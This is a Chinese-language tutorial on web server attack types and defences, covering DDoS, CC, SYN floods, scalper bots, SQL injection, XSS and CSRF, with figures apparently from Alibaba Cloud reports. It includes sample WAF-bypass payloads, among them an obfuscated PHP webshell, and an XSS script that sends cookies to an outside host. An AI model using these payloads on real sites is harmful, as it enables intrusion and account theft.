WEB服务器攻击类型和应对方案

# WEB服务器攻击类型和应对方案

web-safe-yingdui

# WEB攻击类型

# 一、资源消耗型

多属流量攻击

压力测试
DDOS和cc攻击
羊毛党(抢红包、抢茅台、12306刷票)  利用打码、VPN代理、UA模拟、手机、电脑群控等
投票、刷广告黑产、做任务
刷CDN流量
1
2
3
4
5

# 二、数据获取型

多属漏洞攻击

爬虫(搜索引擎)
提权(获取网站后台、服务器管理权限、破解WiFi密码)
盗取WEB数据库数据(开房记录、CSDN用户数据)
白帽,测试漏洞研究
1
2
3
4

先看三个我司遇到的案例

肉鸡也称傀儡机,是指可以被黑客远程控制的机器。比如用"灰鸽子"等诱导客户点击或者电脑被黑客攻破或用户电脑有漏洞被种植了木马,黑客可以随意操纵它并利用它做任何事情。

# 正确地认识网络攻击

一个目的:造成较大的业务损失 两个方法:堵塞有限带宽,耗尽有限计算资源 三类攻击: DDos流量攻击 链接资源耗尽网络层CC攻击 应用资源耗尽类型攻击

db1b088694194c22b44e23e0ad79f9d7

其中三类攻击包括:

# 一、网络流量型攻击

这种攻击会利用到一些协议漏洞,比如UDP、SMP协议,很轻易地构造出过载大报文来堵塞网络入口,这就导致正常请求很难进入。

# 二、耗尽计算资源型攻击——连接耗尽

最典型的就是网络层CC,利用HTTP协议的三次握手,给服务器发一半的三次握手请求,后续的一些请求不再发了,所以服务器端就会等待,进而占用大量的资源,导致服务器连接资源直接被耗尽,服务不可持续。

# 三、耗尽计算资源型攻击——应用耗尽

典型是是7层的应用层CC攻击。这种攻击发出的攻击请求,从报文来看,看不出他有非常明显的畸形或有害性,很难去做相应的判断。由于七层CC都是正常的业务请求,同时CDN只是缓存内容,并不了解业务逻辑,同时业务也经常会遇到客户业务突发,当CC攻击时,如果无特殊的错误码异常,从CDN角度来看会和正常的业务上量是一样的,因此也会尽力服务。进而CC攻击会形成突发带宽峰值,进而产生高额账单,因此给客户造成了较大的经济损失。

# DDOS是什么

百度百科-DDOS-分布式拒绝服务攻击 (opens new window)

分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力。通常,攻击者使用一个偷窃帐号将DDoS主控程序安装在一个计算机上,在一个设定的时间主控程序将与大量代理程序通讯,代理程序已经被安装在网络上的许多计算机上。代理程序收到指令时就发动攻击。利用客户/服务器技术,主控程序能在几秒钟内激活成百上千次代理程序的运行。[百度百科]

# DDoS攻击的演变

# 第一个阶段:DoS攻击(单机)

基于一个单点的服务器进行攻击流量的发送。这时流量规模在500Mbps到10Gbps之间,由于传统服务器的硬件、服务性能、带宽水平都有限,在这样的流量规模之下,就可以造成服务器的全面瘫痪,甚至终止。通过对传统硬件设备直接进行流量清洗的单点防护,再回到服务器,就可以达到防御目的。同时,也可以对相应的原IP进行封禁。

# 第二阶段:DDoS攻击(分布式)

也就是分布式的DoS攻击,它的攻击源就不是单点的服务器,而是一群僵尸网络,黑客通过系统漏洞在网络上抓取大量肉鸡,运用这些肉鸡在不同的网络里去同时发起攻击,造成的带宽规模可能从10Gbps到100Gbps。对这种分布式的僵尸网络攻击形式,通常防御手段就是用多点的大流量清洗中心去做近源的流量压制,之后再把清洁流量注回到服务器。

# 第三阶段:DRDoS,分布式反射型拒绝服务攻击。

互联网上的肉鸡抓取可能存在困难,但一旦被发现,很快这个周期就会丢失掉。所以这些僵尸网络在控制一定的这个周期数量后,会通过反射的机制向目标主体进行攻击。反射的主要机制是互联网上公共的真实存在的设备,在处理协议的过程中可能会形成一个攻击流量成本的放大,比如请求NTP 10K返回50K,请求的原地址改成目标服务器,所有终端都以为受害主机在请求,所有请求都会回到受害主机。整个流量可能会从100Gbps到2Tbps之间,所以对于这种攻击一个是要在很多的协议源头去做流量的阻断,另一个就是还要通过全球化分布式的DDoS进行相应防御。

实例:Memcache-DRDos实践-实现核弹级DDoS攻击:https://www.freebuf.com/column/164095.html

发出去58字节,收到543224字节
543224/58=9365.93倍
这一个就那么厉害,如果更多那后果可想而知~~~~
全球开放的Memcache有数十万之多


1
2
3
4
5
6

# 第四阶段:未来发展

未来,5g、IPv6和IoT技术发展,会导致单位攻击能力翻10倍、公网IP数量指数增长以及潜在肉鸡无处不在,都是我们将要面临的一些风险。所以未来的攻击规模可能会超过2Tbps甚至更高。

来源:正确使用CDN 让你更好规避安全风险@阿里云云栖号 https://developer.aliyun.com/article/780212

# 案例1:某站受到分布式网络攻击,CPU正常,网络入口堵满,网站无法正常提供服务。

这是典型的DDoS发包攻击,发包攻击主要针对以下几种目标:

  1. 占带宽,让目标服务器接受不到新的请求,从而达到拒绝服务的目的。
  2. 溢出攻击,因伺服系统、操作系统的一些未修复的漏洞,让攻击者探测到,攻击者则可以依此用非常小的代价实现让目标服务器死机、重启、甚至被提权。 此案例属于1情况,攻击者发包的目的就是为拼带宽实现拒绝服务。若是托管在普通机房,没有流量清洗能力的,很快你服务器IP会被机房网关null(网关封了你服务器IP)严重的还会被下架。 若是在阿里云,云盾可以起到一定的防护作用,官方公布的数据是可防20G,承诺免费防护300M。为了防止有漏网之鱼,掌握常用的iptables命令是必要 特别是4中的封禁IP的命令 ),毕竟机器不是人,不可能有人工那么智能,而且发包攻击若量较小的时候,很容易被防火墙放过,所以最好、最万无一失的解决之道就是在云主机上封禁IP,配合云盾将服务器受到的影响降到最低。 为防止被溢出攻击,需要日常多关注下系统漏洞,及时为自己的主机打上补丁。

# 案例2:某网站受到攻击,CPU占满,流量并不高,但网站完全无法打开了。

排除正常业务的访问量

这是CC攻击(通过某些攻击工具伪造大量僵尸请求,让目标某部分资源耗尽)的特征,首先,你需要明确一个事情,此时WEB服务继续进行,高CPU占用将会成为你在云主机上操作的负担。

# CC攻击

百度百科定义:攻击者借助代理服务器生成指向受害主机的合法请求,实现DDOS和伪装就叫:CC(ChallengeCollapsar)。

CC主要是用来攻击页面的。大家都有这样的经历,就是在访问论坛时,如果这个论坛比较大,访问的人比较多,打开页面的速度会比较慢,访问的人越多,论坛的页面越多,数据库压力就越大,被访问的频率也越高,占用的系统资源也就相当可观。

# DDOS和cc攻击的特点

# 1.cc攻击是DDOS的一种。

最明确的区别就是,虽然它们攻击的类型不同,但是CC攻击和DDOS的都属于同一种类型,因为它们的设计思想是一样的,它的诞生是利用TCP/IP 协议的缺陷,它们的原理

DDOS攻击又称“分布式攻击”,它使用非法数据淹没网络链路,这些数据可能淹没Internet链路,导致合法数据流被丢弃,DDOS攻击比旧时代的DOS(拒绝服务)更可怕,规模极大,通常他们是以几百台机子或甚至几万台以上的机子进行以点试图掩没攻击为目标,使目标机子在1分钟内变成瘫痪现象,一下子接受那么多数据包,它就算是台巨型机的速度,也不能达到一下子处理几千台或几万台机子攻击目标的现象啊,相同,洪水攻击也是这类攻击的一种

  1. DDOS攻击不仅能攻击计算机,还能攻击路由器,因为路由器是一台特殊类型的计算机;
  2. 网速决定攻击的好和快,比如说,如果你一个被限制网速的环境下,它们的攻击效果不是很明显,但是快的网速相比之下更具有效果

# 2.CC攻击它的隐藏性非常强

不管是它的IP还是它的流量,隐藏性都非常高,它的原理是以主页为主要攻击类型(后期还可以加代理性攻击手法),攻击手法是以论坛的用户为这一特点,进行模拟似的攻击。

现在你知道它们的的不同之处只是类型的不同而已,相比之下,CC攻击更为主流攻击!

# 3.cc资源攻击ddos流量攻击

CC攻击主要是网页攻击,而DDOS攻击是进行发送大量的数据包给目标,造成目标服务瘫痪。

一句话总结:CC攻击和DDOS攻击的主要是针对 WEB 应用程序比较消耗资源的地方进行疯狂请求。

DDOS攻击原理是我生成一个DDOS客户端 在网络上散播,等人家打开后 当然不只一台电脑,我可以用我的客户端一个命令让所有被我植入控制端的电脑向一个网站发送访问请求,比如我有几百万太电脑被我控制 如果每台电脑发送一个访问请求 网站如果处理不过来会瘫痪 CC攻击呢可以只使用一台电脑 然后用代理进行攻击。

# DDOS治理和缓解

究其本质无法防御,优化服务器部署,提升网络带宽。

  • 网络架构上做好优化,采用负载均衡分流
  • 确保服务器的系统文件是最新版本,并及时更新系统补丁
  • 添加抗DDoS设备,进行流量清洗
  • 限制同时打开的SYN半连接数目,缩短SYN半连接的 timeout时间
  • 限制单IP请求频率
  • 防火墙等防护设置禁止ICMP包等
  • 运行端口映射程序或端口扫描程序,要认真检查特权端口和半特权端口
  • 关闭不必要的服务
  • 认真检查网络设备和主机/服务器系统的日志。只要日志出现漏洞或是时间变更,那这台机器就可能遭了攻击
  • 限制在防火墙外与网站文件共享,这样会给黑客截取系统文件的机会,主机的信息暴露给黑客,无疑是给了对方入侵的机会
  • 加钱堆机器
  • 报警

# 软件防护策略

1.nginx+Lua+redis(ip)
2. VeryNginx
3. openrestry
4. 第三方云防火墙
5. 硬件防火墙
1
2
3
4
5

# 1.专用硬件

Web 服务器的前面可以架设硬件防火墙,专门过滤请求。这种效果最好,但是价格也最贵。

# 2.本机防火墙

Linux 服务器一般使用 iptables。比如,拦截 IP 地址1.2.3.4的请求,可以执行下面的命令。

iptables -I INPUT -s 1.2.3.4 -j DROP
1

# 3.WEB-nginx和apache拦截

# 4.封禁特定IP和UA

HTTP 请求的特征一般有两种:IP 地址和 User Agent 字段。比如,恶意请求都是从某个 IP 段发出的,那么把这个 IP 段封掉就行了。或者,它们的 User Agent 字段有特征(包含某个特定的词语),那就把带有这个词语的请求拦截。

# 5.带宽扩容

# 6、CDN

CDN 指的是网站的静态内容分发到多个服务器,用户就近访问,提高速度。因此,CDN 也是带宽扩容的一种方法,可以用来防御 DDOS 攻击。这里有一个关键点,一旦上了 CDN,千万不要泄露源服务器的 IP 地址,否则攻击者可以绕过 CDN 直接攻击源服务器,前面的努力都白费。

# 1. 为什么我总抢不到茅台酒?

# 2. 重要活动保障我该如何准备?

# 3. 如何在降低误漏报的路上越走越远?

# 4. 什么才是电商和游戏行业风控的基石?

# 5. 你的API还在裸奔吗?

# 针对攻击者的信息收集,可以做这些来减少信息泄露风险

防守方如何防御 1.使用CDN/WAF等网络或者安全产品隐藏域名真实源站IP,并做好源站IP访问控制; 2.管理后台和门户内容站点分离,在相同域名下则需要通过ACL做好后台的访问控制; 3.对外提供的顶级域名尽可能独立,内部系统不要和外部应用使用相同的顶级域名,防止攻击者通过DNS爆破等手段获取到内部系统的DNS记录信息;4.内部系统不开放在公网,使用内网DNS提供域名解析服务,使用VPN等方式接入内网后登陆; 5.证书不要使用包含内部域名的多域名证书,防止证书带来的域名信息泄露,减少攻击面。

# 什么才是电商和游戏行业风控的基石(羊毛党)?

在电商、游戏等行业里面,常常会有新用户注册奖励、老用户推荐注册奖励之类的运营拓新活动,或者类似”小号养大号“的成长机制,另外在很多抢购活动(如上面提到的茅台以及潮鞋等稀缺爆款)中商家也会限制每个用户的购买数量上限。这些活动一旦被羊毛党和黄牛党盯上,往往起不到预期的营销效果,投入的大量运营成本基本都落入了黑灰产的手里。这里面一个核心的问题就是账号安全,黑灰产通过虚假注册或是撞库/暴力破解等手段囤积大量账号(不管是虚假注册的小号还是正常用户被盗的账号),有了这些账号后,不论是自动化批量下单来抢购商品,还是大量获取新用户注册的奖励,亦或是更复杂的以号养号,都变得轻而易举。

因此,账号安全已经成为当代电商、游戏甚至整个互联网行业的业务风控基石。而Web业务(不管是网 页、小程序、APP、API、H5还是公众号等等)承载了99%以上的账号业务入口(注册、登录、找回密 码等等),这些入口也成为了黑灰产获取账号的最主要途径,要得到企业足够的重视。

# 真实的攻击情况如何呢?

以阿里云WAF的一个游戏用户为例,单纯以123456这个弱密码撞库的请求量每小时就达1200万,而且这样的攻击是周期性的每天都在持续好几个小时。放在全网维度,我们每天统计到参与账号安全攻击的IP有50万+,参与针对一个金融行业用户账号接口攻击的IP数量可达10万/天。而这还只是保守估计,真实数字会大很多。

# 保护账号接口有很多手段

接口加签、限制高频请求源、部署各类验证码等等都可以

不一定直接的封禁,跟运营同学联手,将你们检测出的问题账号在事后通过运营策略来处置,效果更好。

# 为什么要关注API安全

根据阿里云安全团队的观察发现,API方式交互数据的网站,60%以上的网站流量以API形式传输交互。

# API安全的风险有哪些

由于API接口相对于Web应用的前端页面而言,往往隐藏于后端,因此更多的安全问题没有被发掘和重视,除了敏感数据泄漏,越权查看修改等逻辑,API也依然会面对传统的Web攻击,如JSONP劫持、跨站脚本攻击、SQL注入攻击、恶意文件上传等,黑客可以通过未鉴权的API直接入侵到黑客服务器,获取服务器权限。

# Web攻击态势分析

# 整体攻击态势

# 攻击类型分布

image-20201224113713588

# 攻击源分布

从地域上来看,国内攻击最多的省份还是浙江省,其次是江苏、香港、北京、上海等发达省级行政单位。根据2018年国家统计局数据,香港和浙江的总人口比例约为1/7,但是攻击却达到了40%以上,是中国攻击源最密集的来源。

image-20201224113756889

境外攻击的80%以上均来自于美国,占比高达82%。

image-20201224113837536

# 流量客户端

从攻击源的客户端信息来看,全网的正常流量与攻击流量在客户端类型分布上存在着较为明显的差异,且攻击流量中异常的客户端分布情况存在值得挖掘的地方。 在正常流量中,Android、IOS等移动端的访问流量累计占据了较大比例,其他客户端如浏览器、搜索引擎爬虫、各类开发工具等也占据前列。

image-20201224113953089

而在攻击流量中,Chrome、IE浏览器则是一骑绝尘,总计占比超过99%。但这并不是说移动端Web应用很少被攻击,也并不代表Chrome、IE等浏览器是目前最主要的攻击载体。出现这种现象的原因是在Web攻击中,各类扫描器、攻击工具等大多会采用伪造UA的方式进行攻击,而其伪造的对象则集中在Chrome、IE等最主流的浏览器中。根据我们的分析发现,在攻击流量中声称自己是所谓Chrome、IE以及各类常见搜索引擎爬虫等客户端的源,有超过99.67%是由各类扫描器、攻击脚本等伪装的。

image-20201224114021804

# 时间变化趋势

从攻击现象趋势来看除了春节期和小长假期间攻击量明显减少,其它时间基本处于一个平稳中略有上升的状态。

image-20201224114109390

# 重点行业分布

从行业来看,攻击主要集中在互联网、科研教育、租赁和商务服务、电商4个行业,攻击总量占比超过了90%,这也跟目前这4个行业的请求占比基本对应。

image-20201224114154227

# 攻击手法剖析

# 攻击流量特征

在针对Web服务的攻击中,扫描器及各类自动化攻击工具占据绝大部分比例。根据当前的数据保守计算,在所有针对Web服务的攻击流量中,自动化工具占比超过70%。这些工具的攻击方式涵盖了目录扫描、SQL注入、XSS、命令执行、漏洞探测等多种威胁类型。

image-20201224114227059

图示是攻击者最常探测的部分敏感目录文件。其中包括一些Web框架或服务器的默认配置文件,也包括一些攻击者想要螳螂捕蝉,黄雀在后的尝试较为常见的Webshell文件名称。

image-20201224114307773

# 重点攻击目标

image-20201224114400277

其中WebLogic Server远程命令执行(CVE-2019-2725)的拦截数量最多,从2019年4月漏洞爆发到年末攻击拦截数量共计851684次,之所以该漏洞攻击次数较多的原因是WebLogic Server远程命令执行(CVE-2019-2725)漏洞利用了XMLDecoder,攻击协议使用的是http协议,无需出网,所以比起其它WebLogic Server漏洞利用条件很低,因此成为很多挖矿、勒索程序的主要利用漏洞。值得一提的是,WebLogic Server是美国甲骨文(Oracle)公司开发的一款适用于云环境和传统环境的应用服务中间件,被广泛应用于保险、证券、银行等金融领域,所以这些领域的客户在使用WebLogic Server部署网站业务时,请及时购买Oracle官方账号更新补丁,以防被黑客入侵。经过观测值得一提的现象是,每次Web漏洞被披露后,当安全研究员公开PoC的2-3天后就开始出现大规模的互联网扫描行为。

另外,国内主流OA系统、泛微OA系统也多次爆发远程命令执行和敏感信息泄漏漏洞,国内客户受影响较多,建议国内使用泛微OA系统的客户尽快升级,尽量不要把OA系统开放在互联网上,以防止被黑客攻击造成勒索和数据泄漏。

# 攻击变形

随着WAF对网站的防护越来越普及,针对基础Web攻防来说,利用诸如MySQL、JavaScript、Html语言特性进行各种编码、变形,从而绕过WAF防护的攻击payload也越来越多,攻防是一个持续对抗升级的过程。根据阿里云安全团队的观察发现,当前已有超过1/3的攻击数据采用了不同程度或类型的编码、变形手段,以期绕过安全防护,其中甚至不乏使用多维度的复合变形、编码手段实施攻击。目前云 上已经发现的不同类型攻击的绕过比例如下图所示:

image-20201224114513720

例如: 对于x s s 弹窗攻击行为, 现在越来越来越多攻击p a y l o a d 会进行编码进行攻击: alert-->\u0061\u006c\u0065\u0072\u0074,传统WAF或者IPS设备只会对alert这样的特征关键字拦截,但是黑客也会了解WAF或者IPS设备防御原理,从而针对性的使用不同语言特殊用法进行绕过防护设备攻击。下面是一些真实的案例攻击:

·x=1 /*!10000union*//**/select 1,2,3
·x=<script>\u0061lert(1)</script>
·x=nslookup${IFS}abcdefg.xxx.com
·x=<?php $func = '';$arr = array('a','s','s','e','r','t');for($i=0;$i<count($arr);$i++) {$func .= $arr[$i];}
$func($_REQUEST['cmd']);
1
2
3
4
5

第一种是混合利用MySQL的内联注释与注释进行绕过攻击;

第二种是利用JavaScript特殊的宽编码进行绕过;

第三种是利用Linux环境变量符号进行绕过;

第四种是利用变形eval、混合运算、非闭合php代码标签进行绕过

# 爬虫分析

# 1、流量分析

# 行业分布

根据使用阿里云爬虫风险管理产品的用户流量统计,房产交易、交通、游戏、电商、资讯论坛几个行业中恶意爬虫的占比都超过了50%。

image-20201224114810382

这些行业的用户有一个显著的特点是,他们往往对外提供的服务内容有着很强的时效性,比如不同城市的新上房源、不同线路的票务信息、商品价格、简历信息等等,所以会吸引大量爬虫持续的爬取以获取最新的资讯。比较特殊的一个是游戏行业,爬虫则总是聚焦在虚假账号和挂机两个经典场景。

# 地域分布

从区域来源上看,东南亚和美国的流量中恶意爬虫的占比相对较高,当然爬虫的绝对数量上看还是中国大陆占据大头。随着近些年国内黑灰产的专业程度越来越高,手上掌握的全球代理IP资源也越来越丰富,IP层面的对抗已经非常艰难,防护要更多的考虑其他的维度,如设备指纹、异常行为分析、威胁情报以及业务层面的对抗。

image-20201224114916810

从国内的省份分布来看,北京、江苏、浙江分列爬虫流量占比的前三位,随着秒拨IP的全面普及,爬虫的来源分布会越来越模糊,“大隐隐于市”,最终无限逼近真实用户的分布情况:

image-20201224114941009

# ISP分布

从爬虫来源运营商的请求量绝对值分布来看,三家运营商和阿里云占就据了约98%的流量:

image-20201224115012923

# 爬虫分级

机器流量手法分级,我们按照机器流量攻击的复杂度和防御难度,对构建机器流量的手法进行分级:

【简单接口爬虫】:直接构造脚本请求,或使用开源爬虫框架进行攻击的初级攻击者

【协议伪造者】:尝试在协议、网络指纹、操作链路方面与风控系统进行对抗,拥有将脚本流量尽可能伪造成正常人流量或搜索引擎流量的攻击者

【driver玩家】:通过driver协议,编写脚本直接控制浏览器进行自动化操作(如WebDriver、Marionette等)的攻击者

【系统层模拟攻击】:通过软件直接在系统底层生成操作事件消息(如按键精灵、API宏等)的方式伪造行为,控制系统中的定制化浏览器的攻击者。利用手机模拟器的攻击手法也被归为此类当中(auto.js)

【真机群控】:通过软件将某个正常人操作行为镜像+微小偏移,同时操作多个浏览器或手机真机,并使用一些反指纹插件/改机框架对抗client指纹的攻击者

【分布式真人】:通过有偿支付或偷偷收集的方式,让大量真人与真机帮助操作,针对业务发起流量的攻击方式

image-20201224135524771

image-20201224135541035

可以看到,使用“简单接口爬虫”发起机器流量的攻击事件虽然占比不多,但是这部分攻击手法贡献了大量机器流量,他们用类似“野蛮爬取”的策略,毫无节制的向业务各个链路节点发送大量机器请求。而driver玩家虽然在攻击事件/团伙中占比较大,但在流量分布中占比却不多,这类攻击更加偏向于精细化攻击,不会无节制的大量爬取。

# 特征篡改能力分级

在机器流量对抗过程中,需要依赖流量的各种网络层、客户端层、业务层特征进行人机识别与对抗。与此对应的便是攻击者各式各样的特征伪造方式。我们按照特征篡改/伪造手法和复杂程度,将特征篡改进行如下分类:

【无力伪造】:不对当前请求的端特征(包括ua、header等)进行任何伪造

【低级伪造】:仅仅有伪造UA、header能力,或仅仅有对端采集信息上报进行重放攻击能力

【工具伪造】:熟练使用各类浏览器反指纹插件,或是移动端改机框架进行特征篡改

【自研环境】:通过改造/二次编译浏览器,或是自定义ROM或自行研发改机框架进行特征篡改

【协议破解】:破解并分析出了客户端采集的特征,以及对应的加密上报协议,直接在字符串层面上对上报信息进行破解或篡改

image-20201224135750768

image-20201224135803186

低级伪造类的攻击者无论在流量分布还是在攻击事件分布上,都占有绝大部分比例。同时随着攻击手法精细化,不少特征篡改工具以越来越低的成本、越来越强的功能,开始支撑越来越多有丰富人机对抗经验的专业型攻击者。另外,随着以火狐、Chrome为代表的浏览器及其厂商愈发重视隐私保护以及愈发开放定制化功能,会有更多产业中的相关团伙使用自定义浏览器或是自定义ROM进行精细化攻击。

# 案例分析:某酒类线上商城业务

# 业务方——某酒类线上商城

a. 业务层面:(业务受到影响)

黄牛将核心该酒类商品的抢购权利垄断,会致使正常人无法通过商城购买到该酒类

b. 技术层面(负载增大):

黄牛脚本无节制的轮询、注册、调用会对商城源站产生极大的负载压力,在秒杀峰值情况下甚至会出 现服务器被脚本拖宕机的情况。另外黄牛使用的大量垃圾账号也会对服务存储、短信验证等造成额外 的成本开销。

# 攻击者——“软件党”黄牛

a. 商品库存监控(判断是否有货)

b. 商品秒杀抢购(生成订单接口)

c. 业务辅助类脚本(大量账号、盗号、累计积分、暴力撞库、猜短信验证码)

# 防御方——antibot解决方案

a. 商品库存监控脚本对抗

b. 下单接口脚本对抗

c. 业务辅助类脚本对抗(频次控制+请求加签+验证码相结合)

d. CC防护能力(通过CC策略来确保在黄牛的疯狂攻击下,源站不会受到影响)

# 报告总结

1.电商等行业面临的黑灰产链条更加完整和专业,利益驱动+更加先进的攻击技术利用将会让企业付出更多的安全和风控成本来进行防御; 2.传统Web防御随着API、加密流量等环境的变化而面临更多的挑战; 3.2020年各个行业在面临更多更严峻的外部Web安全威胁的同时,内部对安全水位的要求以及来自蓝军的模拟攻击也会越来越专业化,这对企业自身的安全能力提出了更大的挑战。

来源:《2019年Web应用安全年度报告——阿里云安全团队》

# SYN攻击

百度百科-SYN攻击 (opens new window)

SYN攻击是黑客攻击的手段。SYN洪泛攻击的基础是依靠TCP建立连接时三次握手的设计。第三个数据包验证连接发起人在第一次请求中使用的源IP地址上具有接受数据包的能力,即其返回是可达的。

image

# TCP SYN Flood

TCP SYN Flood是一种常见,而且有效的远端(远程)拒绝服务(Denial of Service)攻击方式,它透过一定的操作破坏TCP三次握手建立正常连接,占用并耗费系统资源,使得提供TCP服务的主机系统无法正常工作。

百度百科-SYN_RECV (opens new window)

# netstat -n |grep ^tcp |awk '{print $NF}' |sort |uniq -c |awk BEGIN'{print "状态\t\t连接数"} {print $2"\t"$1}'

状态            连接数
ESTABLISHED     131
SYN_RECV        1
TIME_WAIT       3569
1
2
3
4
5
6
  1. ESTABLISHED 意思是建立连接。表示两台机器正在通信。
  2. TIME_WAIT 这个套接字已经关闭,正在等待远程套接字的关闭传送[FIN、ACK、FIN、ACK都完毕,这是主动方的最后一个状态,在过了2MSL时间后变为CLOSED状态]
  3. SYN_RECV 是指,服务端被动打开后,接收到了客户端的SYN并且发送了ACK时的状态。再进一步接收到客户端的ACK就进入ESTABLISHED状态。

一般情况下,可以一些简单步骤进行检查,来判断系统是否正在遭受TCP SYN Flood攻击。 1、 服务端无法提供正常的TCP服务。连接请求被拒绝或超时。 2、透过 netstat -an 命令检查系统,发现有大量的 SYN_RECV 连接状态。 检查服务器链接,SYN_RECV状态最高时有200多个,访问服务器网页特别慢,甚至超时,所以基本判定是SYN_RECV攻击。

阮一峰:如何有效防范DDOS攻击 (opens new window) Web安全:最常见的Web安全攻击 (opens new window)

img

防范羊毛党:运营同学必看的防薅羊毛技术完全解读 https://www.cnwebe.com/articles/60403.html

# WEB攻击

# 1.SQL注入

# 什么是SQL注入

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。 [百度百科]

网站都大多选择PHP、.Net、 Java、 ROR、 Python、NodeJS等编程语言搭建网站的后台,选择Mysql、 Oracle、SQL Server等数据库来存储数据。SQL注入就是针对的这样的网站发起的攻击。假如有一个列表页面,请求URL是这样的:

https://xxx.xxx/list.php?q=finished
1

通过这个url可以获取这个用户列表下面所有已经完成的订单。那么我们可以猜想这样的页面后端对应的程序是这样写的:

$sql = ‘select * from orders where status=\’’ . status. ‘\’ and userId = \‘’ . userId;
1

语句本身没有什么问题,后面加上了过滤条件userId只能获取这个用户自己的订单。可是,如果我们这样发起请求:

https://xxx.xxx/list.php?q=finished‘--
1

最终拼接后的语句可能就变成了这个样子:

select * from orders where status=‘finished’—and userId=’xxxx’;
1

由于“—”在数据库里面起到的注释作用,所以“and userId=’xxxx’” 这个过滤条件是不会起作用的。这个语句执行的效果就是黑客获取了这个网站所有已经完成的订单数据。

# 防范sql注入

  • 做好参数检验。
  • sql传参的地方一定要做sql escape,对sql敏感字符进行转义。
  • 不要直接拼接字符串。

# 2.脚本注入

脚本注入只是个表现形式,例如你的网页中出现了一段莫名的脚本:

<script src=”http://hacker.test/hack.js”></script> 这就是一个典型的脚本注入。
1

但是注入的方式就有很多了,

  1. 直接获取了服务器的权限,修改了网页;
  2. 利用Sql注入技术注入了脚本;
  3. 利用网页交互漏洞注入的脚本;
  4. 开发出了脚本注入漏洞扫描和Sql漏洞注入扫描自动机扫描互联网上的网站漏洞。

利用脚本注入这样的方式,黑客可以做很多很多事情: 挂马,修改页面内容,将客户跳转到指定的网站,流量导入,信息收集等。

当某天你的网站跳转到成人、赌博网站可能遭受到脚本注入攻击。

# 3.XSS(cross site scripting)跨站脚本攻击

# 什么是XSS

XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去。使别的用户访问都会执行相应的嵌入代码。从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。

严格来说XSS应该属于脚本注入的一种方式,只是因为XSS这种方式可以快速轻易的注入脚本而使得它非常流行。举个简单的例子: 有一个网站支持评论和回复,有人在评论框内输入了这么一段脚本:

<script>
    var i = document.createElement(‘img’);
    i.setAttribute(‘src’, ‘http://attach.com/x.js?c=’+document.cookie);
    document.body.appendChild(i);
</script>
1
2
3
4
5

提交后,当别人打开这个页面查看这个评论的时候,攻击的网站就获取到了这个人所有cookie信息(包括session id),然后在通过脚本加载cookie后进行所有被攻击者所具有权限的操作。

xss个人攻击测试cookie管理平台 : https://github.com/keyus/xss

# XSS攻击的危害包括

1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号

2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

3、盗窃企业重要的具有商业价值的资料

4、非法转账

5、强制发送电子邮件

6、网站挂马

7、控制受害者机器向其它网站发起攻击

# 原因解析

主要原因:过于信任客户端提交的数据!

解决办法:不信任任何客户端提交的数据,只要是客户端提交的数据就应该先进行相应的过滤处理然后方可进行下一步的操作。

# 防范脚本注入和XSS攻击:

  1. 服务器只开放必要的端口:如80、443、22等
  2. 参数校验
  3. 页面提交的内容一定要做HTML Escape 转义
  4. URL上提交的内容要做URL Encode 转义
  5. 登录注册入口做好人机识别(验证码等)

当今的互联网对xss的防范已经做得比较到位了,一般稍微像样点儿的框架都做了防护。只有测试一些古老的asp,或者一些程序员偷懒不做过滤的

# 4.CSRF(cross site request forgery)跨站请求伪造

# CSRF原理

攻击者盗用了你的身份,以你的名义发送恶意请求。 以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账。 造成个人隐私泄露以及财产安全问题

可以理解为有一个小偷在你配钥匙的地方得到了你家的钥匙,然后拿着去你家想偷什么偷什么。

# 完成CSRF攻击必须有三种条件:

  1. 用户以及登陆了站点A,并在本地记录了cookie
  2. 用户在没有登出站点A的情况下(也就是cookie生效的情况下),访问了恶意攻击者提供的引诱危险站点B(B要求访问A)——(B也可能为一个存在其他漏洞的可信任网站)
  3. 站点A没有做任何CSRF防御

很多人对XSS和CSRF是傻傻分不清楚的。

首先常见的XSS攻击的对象是网站本身,通过注入网页的方式,获取用户信息。

而CSRF就非常聪明了,直接绕过了注入这一步,甚至黑客不需要获取用户的Cookie信息,直奔主题。

CSRF攻击方式早几年并不为大家所熟知,实际上很多网站都存在CSRF的安全漏洞。

早在2000年,CSRF这种攻击方式已经由国外的安全人员提出,但在国内,直到2006年才开始被关注。2008年,国内外多个大型社区和交互网站先后爆出CSRF漏洞,如:百度HI、NYTimes.com(纽约时报)、Metafilter(一个大型的BLOG网站)和YouTube等。但直到现在,互联网上的许多站点仍对此毫无防备,以至于安全业界称CSRF为“沉睡的巨人”,其威胁程度由此“美誉”便可见一斑。 那么,我们先来看一下CSRF的攻击原理吧:

img

如果图中的流程看的不是太明白,那么我们来看一个例子(摘抄自网络):

受害者 Bob 在银行有一笔存款,通过对银行的网站发送请求: http://bank.example/withdraw?account=bob&amount=1000000&for=bob2可以使 Bob 把 1000000 的存款转到 bob2 的账号下。通常情况下,该请求发送到网站后,服务器会先验证该请求是否来自一个合法的 session,并且该session 的用户 Bob 已经成功登陆。

黑客 Mallory 自己在该银行也有账户,他知道上文中的 URL 可以把钱进行转帐操作。Mallory 可以自己发送一个请求给银行: http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory但是这个请求来自 Mallory 而非 Bob,他不能通过安全认证,因此该请求不会起作用。这时,Mallory 想到使用 CSRF 的攻击方式,他先自己做一个网站,在网站中放入如下代码:src=”http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory”,并且通过广告等诱使 Bob 来访问他的网站。当 Bob 访问该网站时,上述 url 就会从 Bob 的浏览器发向银行,而这个请求会附带 Bob 浏览器中的 cookie 一起发向银行服务器。

